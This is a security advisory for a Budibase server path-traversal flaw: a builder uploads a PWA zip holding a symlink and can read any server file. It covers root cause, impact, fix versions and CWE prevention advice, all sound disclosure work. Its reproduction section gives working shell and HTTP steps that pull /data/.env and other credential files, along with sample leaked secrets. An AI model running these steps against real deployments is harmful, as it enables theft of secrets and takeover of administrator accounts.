Skip to content

GHSA-w7mq-r738-x278 CVE-2026-54352

Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload

Critical npm
Severity
9.6 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.49%
Chance of exploitation in the next 30 days. Higher than 42.41% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-59 Improper Link Resolution Before File Access ('Link Following')
Fix
3.39.9
Upgrade @budibase/server to this version or later

Description

Summary

POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with extract-zip@2.0.1 into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.

extract-zip@2.0.1 preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.

packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.

Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWT_SECRET, INTERNAL_API_KEY, MINIO_*, REDIS_PASSWORD, COUCHDB_PASSWORD, DATABASE_URL) by uploading one crafted PWA zip.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.

Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.

Root cause

packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.

packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries.

packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.

packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).

hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and <CSRF> token come from GET /api/global/self.

  1. Builder uploads a zip containing one symlink entry that targets /data/.env, plus an icons.json that references the symlink.
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png

curl -s "http://localhost:10000/api/pwa/process-zip" \
  -b cookies.txt \
  -H "x-budibase-app-id: <appId>" \
  -H "x-csrf-token: <CSRF>" \
  -F "file=@attack.zip"
{"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}
  1. Builder fetches the resulting "icon".
GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>
COUCHDB_USER=admin
COUCHDB_PASSWORD=admin
MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def
MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778
INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c
JWT_SECRET=c5441dc903f845bdb93a98b949a612b2
REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c
DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm

Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.

Impact

  • Disclosure of /data/.env: JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL.
  • HS256 JWT forge with the leaked JWT_SECRET against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.
  • Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.
  • Disclosure of /etc/passwd and /etc/shadow via the same primitive when the container runs as root (the shipped default).

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de).

Affected versions

npm

PackageVulnerableFixed in
@budibase/server
< 3.39.9
3.39.9

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

@budibase/server npm → 3.39.9

npm
npm install @budibase/server@3.39.9
yarn
yarn add @budibase/server@3.39.9
pnpm
pnpm add @budibase/server@3.39.9

Severity breakdown

CVSS 3.1 9.6

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-59: Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

How to prevent it
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-6x9p-4r67-5gjx
Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url`
High Also affects @budibase/server
GHSA-5fpj-28rv-84r7
Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist
High Also affects @budibase/server
GHSA-hfhx-w8p8-4hc7
Budibase: SSRF via bare fetch() in uploadUrl during AI table generation
Medium Also affects @budibase/server
GHSA-v42f-v8xc-j435
Budibase: SSRF via DNS rebinding in the REST datasource integration
High Also affects @budibase/server
GHSA-pmpg-2mxq-6xwr
Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete
High Also affects @budibase/server
GHSA-cr7p-cr3q-h5cm
Budibase: Account Enumeration via Login Lockout Response Differential
Medium Also affects @budibase/server
GHSA-pvcr-8mvp-w8qr
Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF)
High Also affects @budibase/server
GHSA-2xgg-r2wc-c5r2
Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector
High Also affects @budibase/server
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor